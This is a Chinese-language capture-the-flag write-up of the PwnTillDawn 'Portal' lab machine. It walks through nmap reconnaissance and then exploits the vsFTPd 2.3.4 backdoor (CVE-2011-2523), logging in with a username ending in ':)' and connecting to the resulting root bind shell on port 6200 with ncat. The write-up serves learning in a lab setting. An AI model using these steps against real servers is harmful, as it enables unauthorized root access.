PwnTillDawn — Portal (10.150.150.12) Writeup
平台:PwnTillDawn Online Battlefield by wizlynx group
難度:Easy
作業系統:Linux (Ubuntu 20.04)
0x00 偵察
Port Scan
使用 nmap 掃描全 65535 port:
nmap -Pn -p- 10.150.150.12 --min-rate 3000
僅開放兩個 port:
| Port | Service | Version |
|---|---|---|
| 21 | FTP | vsFTPd 2.3.4 |
| 22 | SSH | OpenSSH 8.2p1 Ubuntu |
FTP 匿名登入
FTP 允許 Anonymous 登入,Banner 訊息頗有暗示性:
220 Through the portal... - into nothingness or bliss?
登入後目錄完全為空(含 ls -la 隱藏檔檢查),且無法上傳檔案(550 Permission denied),FTP 作為資料來源這條路走不通。
版本探測
nmap -Pn -p 21,22 -sV -sC 10.150.150.12
-sC 的 ftp-syst script 回報:
vsFTPd 2.3.4 - secure, fast, stable
確認版本為 vsFTPd 2.3.4。
0x01 漏洞識別
vsFTPd 2.3.4 供應鏈後門 (CVE-2011-2523)
2011 年,vsFTPd 2.3.4 的原始碼在官方發佈伺服器上被攻擊者篡改,植入了一段惡意程式碼。觸發機制:
- 當 FTP 登入的**使用者名稱包含
:)(笑臉字元)**時,程式會 fork 一個子程序 - 子程序在目標機器的 TCP port 6200 開啟 bind shell
- 該 shell 以 vsFTPd 運行身份(通常是 root)執行
使用 searchsploit 確認有公開 exploit:
searchsploit vsftpd 2.3.4
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (MSF) | unix/remote/17491.rb
0x02 漏洞利用
觸發後門
FTP 登入時使用者名稱附加 :) 觸發後門:
ftp 10.150.150.12
Name: hacker:)
Password: (任意輸入)
此時 FTP 連線會 hang 住,這是正常現象,代表後門正在被觸發。
連接 Bind Shell
開另一個 terminal,用 netcat 連線 port 6200:
ncat 10.150.150.12 6200
連上後不會有任何 prompt 顯示(無 # 或 $),這是一個 blind shell,直接輸入指令即可:
id
uid=0(root) gid=0(root) groups=0(root)
直接取得 root 權限。
0x03 FLAG
ls
FLAG1.txt
snap
cat FLAG1.txt
Redacted
FLAG1:Redacted
0x04 攻擊鏈總結
FTP 偵察 → 識別 vsFTPd 2.3.4
→ 觸發供應鏈後門 (username + :))
→ Bind Shell on port 6200
→ Root!
漏洞清單
| # | 漏洞 | 嚴重性 | 說明 |
|---|---|---|---|
| 1 | vsFTPd 2.3.4 Backdoor (CVE-2011-2523) | Critical | 供應鏈攻擊植入後門,觸發後開啟 root bind shell |
經驗分享
0x05:
這台靶機最大的坑不是找漏洞,而是 blind shell 的判斷,連上 port 6200 後畫面完全空白,沒有任何 prompt,第一反應很容易誤判為「後門被 patch 掉了」或「連線失敗」,差點因此放棄這條路去走 SSH 爆破的 rabbit hole。
教訓:碰到 blind shell 時,永遠先盲打 id 確認,沒有 prompt 不代表沒有 shell。
另外,手動測試如果看起來沒成功,也可以嘗試 searchsploit 上的 exploit 腳本(unix/remote/49757.py)來自動化驗證——有時候不是漏洞不存在,只是自己的測試方法有盲區。
Member discussion